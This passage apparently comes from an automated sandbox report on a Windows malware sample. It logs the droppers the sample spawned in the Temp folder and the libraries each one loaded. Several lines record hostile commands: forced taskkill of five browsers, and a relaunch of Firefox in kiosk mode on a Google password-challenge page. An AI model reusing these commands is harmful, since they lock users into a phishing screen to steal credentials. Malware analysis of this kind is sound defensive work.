Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe "C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe "C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe "C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe "C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe"
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001245001\num.exe "C:\Users\user\AppData\Local\Temp\1001245001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2168 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1627ebda-6589-45a8-9dca-43cec3b82382} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2557826ed10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2752 -parentBuildID 20230927232528 -prefsHandle 4376 -prefMapHandle 4372 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {776ea994-b651-49e2-8a85-deca857d51f8} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2550a5cf510 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe "C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe"
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process created: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe "C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe "C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe"
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process created: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe "C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe"
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process created: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe "C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001245001\num.exe "C:\Users\user\AppData\Local\Temp\1001245001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe "C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe "C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe "C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe "C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe "C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe "C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001245001\num.exe "C:\Users\user\AppData\Local\Temp\1001245001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process created: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe "C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe"
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process created: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe "C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe"
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Process created: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe "C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe"
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2168 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1627ebda-6589-45a8-9dca-43cec3b82382} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2557826ed10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2752 -parentBuildID 20230927232528 -prefsHandle 4376 -prefMapHandle 4372 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {776ea994-b651-49e2-8a85-deca857d51f8} 7056 "\\.\pipe\gecko-crash-server-pipe.7056" 2550a5cf510 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: mscoree.dll	Jump to behavior
